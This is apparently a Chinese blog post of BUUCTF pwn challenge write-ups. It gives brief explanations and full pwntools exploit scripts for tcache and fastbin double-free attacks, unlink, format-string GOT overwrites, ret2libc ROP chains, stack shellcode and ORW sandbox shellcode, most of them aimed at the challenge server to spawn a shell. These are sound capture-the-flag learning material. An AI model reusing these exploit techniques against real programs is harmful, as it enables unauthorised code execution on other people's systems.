0
第一次见新建 note 却只要一个申请一个 chunk 的题,并且会给出堆块的地址,也就是 fd
不知道怎么做,这道题只能看 wp 了
题目只有 add 和 free,并且add后会将相应的地址打出来。所以首先得让chunk进入unsortedbin中,来泄露libc基址。
但是限制了堆块申请的大小,所以我们可以利用 double free
但是因为 libc 版本的问题,本地 double free 失败了,emm
折腾了半天,本来以为要把 C++ 依赖的库都换掉的,后来换了 ubuntu18 这台机器上,更换 libc 和 ld 就行了
tcache前置知识
程序运行后会有一个 chunk
0
这里存放着 tcachebin 的信息,比如下图表面 tcachebin 中有两个 0x60 大小的 bin,有个 且链表头地址为 0x55ce111ede70
这里的 tcache attack 是利用 dup 修改 tcache bin 中的 chunk 的 fd,使其指向 上图中 0x251 大小的 chunk,从而修改 tcache bin 中各类大小 bin 中的指针,那么我们接着申请 chunk 的时候就能在申请到其它堆块上了,从而实现修改其它堆块的信息,比如 size ,这里我们要通过修改 size ,使一个 chunk free 后放入 unsorted bin,来泄露基址
由于存放 UAF,所以我们先 dup
ptr0 = add(0,0x50,'a'*0x10)
add(1,0x70,'b'*0x10)
add(2,0x70,'c'*0x10)
add(3,0x50,'/bin/sh\x00')
add(4,0x10,'d'*0x10)
free(0)
free(0)
可以看到 dup 后
fd 也指向了自己
修改 fd 指向存放有 tcache bin 信息的那个 chunk 的偏移为
再接下来我们申请三次 chunk
第一次是为了修改 fd,使其指向存放有 tcache bin 信息的那个chunk
第二次和第三次是要申请一个 chunk 到 存放有 tcache bin 信息的那个 chunk 的位置,并且第三次申请的时候我们去修改 0x70 那一行为其它堆块的地址,接下来申请 0x10 大小的堆块时就能覆盖其它堆块从而改写 size 了
这里我们改写 chunk1 的
add(5,0x50,p64(ptr0-0x11e60))
add(6,0x50,b'a')
add(7,0x50, b'\x00'*4+b'\x03'+b'a'*(0x40-5)+p64(ptr0+0x50)) #数量这里要大些,不然后面 dup 会失败
add(8,0x10,p64(0) + p64(0x101))
free(1)
并且我们把代表tcache 0x100 大小的二进制填为a
由于存储数量有限,那么 0x101 大小的这个 chunk 就会被放入 unsorted bin
不过这样的话,我们先 free ,再申请回来泄露基址的方法就不行了,因为会优先申请 tcache bin 中的
接下来的做法比较巧妙,同样是利用 dup,然后修改 fd ,使其指向 chunk1,由于 chunk1 已经放入了 unsorted bin,这时候,chunk1 的 fd 也成了 tcache bin 中的 chunk
所以要申请四次,并且可以知道 fd 距离 main_arena 的偏移是 96
拿到 libcbase 后,同样用 dup 修改 fd,改写 free_hook 为 system
这里有个比较巧妙的地方,由于 free_hook 的下面第二个内存单元不为空,所以也被放入了 tcache bin ,但是,如果我们 dup chunk 0,那么,chunk0 的 fd 指向了自身,就成了一个循环,这个因为 free_hook 而产生的 tcache bin 就消失了,还是要多调试,才能发现巧妙的点
还要,代表 0x60 大小的 bin 的二进制要大些,不然 dup 会失败
第一次 free(0)
第二次 free(0)
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28020)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def add(index,size,content):
p.sendlineafter('choice > ',str(1))
p.sendlineafter('input the index\n',str(index))
p.sendlineafter('input the size\n',str(size))
p.sendlineafter('something\n',content)
p.recvuntil("gift :")
ptr = int(p.recv(14),16)
print(index,":",hex(ptr))
return ptr  
def free(index):
p.sendlineafter('choice > ',str(2))
p.sendlineafter('input the index\n',str(index))
def debug():
gdb.attach(p)
pause()

# change size
ptr0 = add(0, 0x50, b'a'*0x10)
add(1, 0x70, 'b'*0x10)
add(2, 0x70, 'c'*0x10)
add(3, 0x50, '/bin/sh\x00')
add(4, 0x10, 'd'*0x10)
free(0)
free(0)
add(5, 0x50, p64(ptr0-0x11e60))
add(6, 0x50, b'a')
add(7, 0x50, b'\x00'*4+b'\x03'+b'a'*(0x40-5)+p64(ptr0+0x50))
add(8, 0x10, p64(0) + p64(0x101))

# leak libcbase
free(0)
free(0)
free(1)
add(9,0x50,p64(ptr0+0x60))
add(10, 0x50, b'a')
add(11, 0x50, b'b')
ptr1 = add(12, 0x50, b'a')
main_arena = ptr1 - 96
libcbase = main_arena - 0x10 - libc.sym['__malloc_hook']
print('libcbase => ', hex(libcbase))
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']

# free_hook => system
free(0)
free(0)
add(13, 0x50, p64(free_hook))
add(14, 0x50, b'a')
add(15, 0x50, p64(system))

# pwn
free(3)
p.interactive()
搞了一天,终于把这道题完全弄懂了

suctf_2018_basic pwn

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29154)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

payload = b'a'*0x118 + p64(0x401157)
p.sendline(payload)
p.recv()

x_ctf_b0verfl0w

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29154)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

sub_esp = 0x8048500
jmp_esp = 0x08048504

shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = shellcode.ljust(0x24, b'\x00') + p32(jmp_esp) + asm('sub esp,0x28;call esp')
p.recv()
p.sendline(payload)
p.interactive()

inndy_echo

0
格式化字符串,没啥好说的
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'i386')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 25266)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

payload = fmtstr_payload(7, {elf.got['printf']:elf.sym['system']})
p.sendline(payload)

p.sendline(b'/bin/sh\x00')
p.interactive()

hitcontraining_unlink

跟前面一道题一样
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27579)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def add(size, content):
p.sendlineafter(b'Your choice:', '2')
p.sendlineafter(b'Please enter the length of item name:', str(size))
p.sendafter(b'Please enter the name of item:', content)
def show():
p.sendlineafter(b'Your choice:', '1')
def edit(index, content):
p.sendlineafter(b'Your choice:', '3')
p.sendlineafter(b'Please enter the index of item:', str(index))
p.sendlineafter(b'Please enter the length of item name:', str(len(content)))
p.sendafter(b'Please enter the new name of the item:', content)
def free(index):
p.sendlineafter(b'Your choice:', '4')
p.sendlineafter(b'Please enter the index of item:', str(index))
def get_shell():
p.sendlineafter(b'Your choice:', '/bin/sh\x00')

add(0x10, b'a') # index0
add(0x60, b'b') # index1
add(0x60, b'c') # index2
add(0x10, b'd') # index3
free(1)
free(2)
fake_chunk = 0x60209d
payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk)
edit(0, payload)
add(0x60, b'a') #index1 -> chunk2
add(0x60, b'b') #index2 -> fake_chunk
edit(2, b'a'*0x1b + p64(elf.got['atoi']))
show()
atoi_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
system = atoi_addr - libc.sym['atoi'] + libc.sym['system']
edit(0, p64(system))
get_shell()
p.interactive()

axb_2019_fmt64

0
64 位下的格式化字符串
sed -i s/alarm/isnan/g ./pwn
可以替换 alarm 函数,就没那么烦人了
偏移为 8
0
不知道为啥,远程泄露 printf 不行,换成 puts 了
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29713)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

p.recv()

# leak libcbase
payload = b'stop%9$s' + p64(elf.got['puts'])
p.sendline(payload)

p.recvuntil('stop')
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']

# printf => system
payload = fmtstr_payload(8, {elf.got['printf']:system}, write_size = 'byte', numbwritten = 0x9)
p.sendline(payload)

# pwn
p.sendline(b';/bin/sh\x00')
p.interactive()

wustctf2020_name_your_cat

0
可以在 v3 数组上写,但是没对 v2 的大小做限制,可以越界写
0
并且存放后门函数,要我们通过数组越界写修改 ret 为 backdoor
偏移是 0x30 = 56,56 / 8 = 7
0
并且还要循环五次,那么我们写五次即可
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 29713)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')


for i in range(5):
p.recv()
p.sendline(b'7')
p.recv()
p.sendline(p32(elf.sym['shell']))
p.interactive()

ciscn_2019_es_1

菜单堆题,保护措施全开
0
add 新增一个 note 创建两个堆块,0x18 大小堆块的中八个字节放自定义堆块的 size ,前八个字节放自定义堆块的指针
name 放入自定义大小堆块中 call 放入0x18大小堆块中
0
free 存在 UAF,并且只释放自定义大小的堆块
0
show
0
先利用 UAF 去修改指针,然后利用 show 泄露基址
这里直接申请一个 0x410 的 chunk,然后 free,由于存放 UAF ,再 show 下, 那么就能泄露基址了
add(0x410, b'a', b'b') #index 0
add(0x20, b'a', b'b') #index 1
add(0x20, b'/bin/sh\x00', b'a') #index 2

#leak libcbase
free(0)
show(0)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
其次是利用 dup 修改指针指向 free_hook ,修改为 system
# free_hook -> system
free(1)
free(1)
add(0x20, p64(free_hook), b'a')
add(0x20, b'a', b'a')
add(0x20, p64(system), b'a')
这里有个点是值得注意的, 0x18 的堆块会从放入 unsorted bin 的堆块拿
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26723)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.27-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size, name, call):
p.sendlineafter(b'choice:', '1')
p.sendlineafter(b'Please input the size of compary\'s name\n', str(size))
p.sendafter(b'please input name:\n', name)
p.sendafter(b'please input compary call:\n', call)
def show(index):
p.sendlineafter(b'choice:', '2')
p.sendlineafter(b'Please input the index:\n', str(index))
def free(index):
p.sendlineafter(b'choice:', '3')
p.sendlineafter(b'Please input the index:\n', str(index))

add(0x410, b'a', b'b') #index 0
add(0x20, b'a', b'b') #index 1
add(0x20, b'/bin/sh\x00', b'a') #index 2

#leak libcbase
free(0)
show(0)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']

# free_hook -> system
free(1)
free(1)
add(0x20, p64(free_hook), b'a')
add(0x20, b'a', b'a')
add(0x20, p64(system), b'a')

#pwn
free(2)
p.interactive()

axb_2019_brop64

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 28779)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

rdi = 0x400963

payload = b'If there is a chance,I won\'t make any mistake!\n\x00'
payload = payload.ljust(0xd8, b'a') + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendafter(b'Please tell me:', payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print('puts => ', hex(puts))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'If there is a chance,I won\'t make any mistake!\n\x00'
payload = payload.ljust(0xd8, b'a') + p64(rdi) + p64(binsh) + p64(system)
p.sendafter(b'Please tell me:', payload)
p.interactive()

[极客大挑战 2019]Not Bad

0
沙盒逃逸
0
依旧是 orw
开始时开辟了一处空间
漏洞点是栈溢出
还要 jmp rsp 指令
栈的空间不够,只能把 orw 写在其它地方然后跳转执行
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26189)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

mmap = 0x123000
buf = 0x123050
jmp_rsp = 0x400A01
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, buf, 0x40)
shellcode += shellcraft.write(1, buf, 0x40)
orw = asm(shellcode)

p.recv()
shellcode = asm(shellcraft.read(0, mmap, 0x100)) + asm("mov rax,0x123000;call rax")
payload = shellcode.ljust(0x28, b'\x00') + p64(jmp_rsp) + asm("sub rsp,0x30;call rsp")
p.sendline(payload)
p.sendline(orw)

p.interactive()

cmcc_pwnme1

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29608)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23.so')

s = 0x8048913
# leak libcbase
p.sendlineafter(b'>> 6. Exit    \n', b'5')
payload = b'a'*0xa4 + b'stop' + p32(elf.plt['puts']) + p32(elf.sym['main']) +  p32(elf.got['puts'])
p.sendlineafter(b'Please input the name of fruit:', payload)
p.recvline()
puts = u32(p.recv(4))
print('puts => ', hex(puts))
libcbase = puts - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

# pwn
p.sendlineafter(b'>> 6. Exit    \n', b'5')
payload = b'a'*0xa8 + p32(system) + p32(elf.sym['main']) + p32(binsh)
p.sendlineafter(b'Please input the name of fruit:', payload)
p.interactive()

wdb2018_guess

0
由于 flag 被写入了内存中,且开启了 canary ,那么当 canary 被覆盖报错的时候会泄露程序名
0
我们可以将指向程序名的 argv[0] 改为 flag 的地址,通过报错就能拿到 flag 了
不过我们不知道 flag 的地址,需要借助 environ 间接泄露 flag 的地址
s 距离 rbp 偏移为 0x40
断点打在了 gets ,可以知道填充到 argv[0] 需要 128 个字节
可以看到 flag 的地址 和 environ 的地址,偏移为 0x168
程序中会循环三次,第一次用来泄露 puts ,第二次用来泄露 environ ,第三次用来泄露 flag
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 29620)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

# leak libcbase
p.recv()
payload = b'a'*0x128 + p64(elf.got['puts'])
p.sendline(payload)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = puts - libc.sym['puts']
environ = libcbase + libc.sym['__environ']

# leak stack_environ
p.recv()
payload = b'a'*0x128 + p64(environ)
p.sendline(payload)
print('environ => ', hex(environ))
stack_environ = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

# leak flag
p.recv()
payload = b'a'*0x128 + p64(stack_environ - 0x168)
p.sendline(payload)
p.recv()
print(p.recv())
令人无语的是,本地用 ubuntu22 和 16 加上 patchelf 换 libc ,本地调试都出现了问题, stack_environ 泄露不了,但是远程是行的,很无奈,要是比赛遇到这种情况真不知道怎么办
(估计是我当时太菜了,没 patchelf 好,不过 buu 提供的 libc 确实和 glibc-all-one 的不同,即使是同个小版本的)

gyctf_2020_some_thing_exceting

0
add 会创建三个堆块,一个 0x10 大小,两个自定义大小,0x10 大小堆块存放两个自定义堆块的指针
0
选择修改堆块的选项就退出了
free 存放 UAF
show
0
看看保护措施
0
没有开 PIE,可以通过 got 表泄露基址
先新增三个 note ,再全部 free,那么 fast bin 就多出来三个 0x20 大小的 bin,再新增一个 0x10,0x10 大小的 note ,同时修改本来存储的指针为 puts@got ,由于存放 UAF,再 show 下就能泄露基址了
add(0x20, b'a', 0x20, b'b') #index 0
add(0x20, b'a', 0x20, b'b') #index 1
add(0x20, b'a', 0x20, b'b') #index 2
free(0)
free(1)
free(2)
add(0x10, p64(elf.got['puts']), 0x10, b'c') #index 3
print('puts@got -> ', hex(elf.got['puts']))
show(1)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = puts - libc.sym['puts']
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
不过由于 FULL RELRO,所以劫持 free_hook 了
实现这一步我能想到的方法就是 dup 了
找到了一个fake chunk
# free_hook -> system
add(0x60, b'a', 0x60, b'b') #index4
add(0x60, b'a', 0x60, b'b') #index5
free(4)
free(5)
free(4)
print('free_hook -> ', hex(free_hook))
print('system -> ', hex(system))
fake_chunk = free_hook - 0x13
add(0x60, p64(fake_chunk), 0x60, b'b') #index6

add(0x60, b'a', 0x60, b'b') #index7
add(0x60, p64(system), 0x60, b'b') #index8
但是
检测要比 tcache bin 严格,唉,看了眼 wp ,其实是另外的解法,同样是 dup
这里存在一个函数,会把 flag 读入内存
这里的 s 在 bss 段上,并且,byte_6020a0 也在 s 相邻的 bss 段上,还等于 96 = 0x60 ,也没开 PIE ,不是摆明要用 dup 在这里申请堆块吗,原来不开 PIE 是为了这个
fake_chunk 也找到了
最后再 show 下就行
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 26086)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size1, content1, size2, content2):
p.sendlineafter(b'> Now please tell me what you want to do :', '1')
p.sendlineafter(b'> ba\'s length : ', str(size1))
p.sendafter(b'> ba : ', content1)
p.sendlineafter(b'> na\'s length : ', str(size2))
p.sendafter(b'> na : ', content2)
def free(index):
p.sendlineafter(b'> Now please tell me what you want to do :', '3')
p.sendlineafter(b'> Banana ID : ', str(index))
def show(index):
p.sendlineafter(b'> Now please tell me what you want to do :', '4')
p.sendlineafter(b'> Banana ID : > SCP project ID : ', str(index))

add(0x50, b'a', 0x50, b'a') #index0
add(0x50, b'a', 0x50, b'a') #index1

free(0)
free(1)
free(0)
fake_chunk = 0x602098
add(0x50, p64(fake_chunk), 0x50, b'c') #index2
add(0x50, b'a', 0x50, b'a') #index3
add(0x50, b'a', 0x40, b'a') #index4
show(4)
print(p.recv())
有两个注意的点,一个是 byte_6020a0 = 0x60 ,所以我们创建 0x50 大小的 chunk 来 dup
另一个是申请第四个 note 的时候,由于这时候 fast bin 中 0x60 大小的 bin 的链表头部是指向 flag{xxxx} 的,所以这时候我们申请 0x50 大小的 chunk 会失败,要申请其它大小的

wustctf2020_easyfast

堆题,但是没菜单
add 堆块大小最大只能为 0x78
0
free 存在 UAF
0
每次只能写八个字节
0
后门,选项 4 触发,但是需要 qword_602090 为 0
0
没开 PIE,明显是要我们去创建 fake chunk ,修改 qword_602090 的值
调试下, 发现刚好送了个堆块的 size,方便我们创建
0
接下来就是利用 fast bin attack 了
exp
from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')

#p = process('./pwn')
p = remote('node4.buuoj.cn', 27594)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')

def debug():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter(b'choice>\n', '1')
p.sendlineafter(b'size>\n', str(size))
def free(index):
p.sendlineafter(b'choice>\n', '2')
p.sendlineafter(b'index>\n', str(index))
def edit(index, content):
p.sendlineafter(b'choice>\n', '3')
p.sendlineafter(b'index>\n', str(index))
p.send(content)
def shell():
p.sendlineafter(b'choice>\n', '4')

add(0x40) # index0
add(0x40) # index1
free(0)
free(1)

fake_chunk = 0x602080
edit(1, p64(fake_chunk))
add(0x40) #index2
add(0x40) #index3 -> fake_chunk
edit(3, p64(0))
shell()
p.interactive()
也可以用 dup 修改 fd ,之后差不多

 
 
 

 
 
 
 

BUUCTF-PWN-第二页writep(32题) _

 

posted @ 2022-10-24 21:55  xshhc  阅读(419)  评论(2编辑  收藏  举报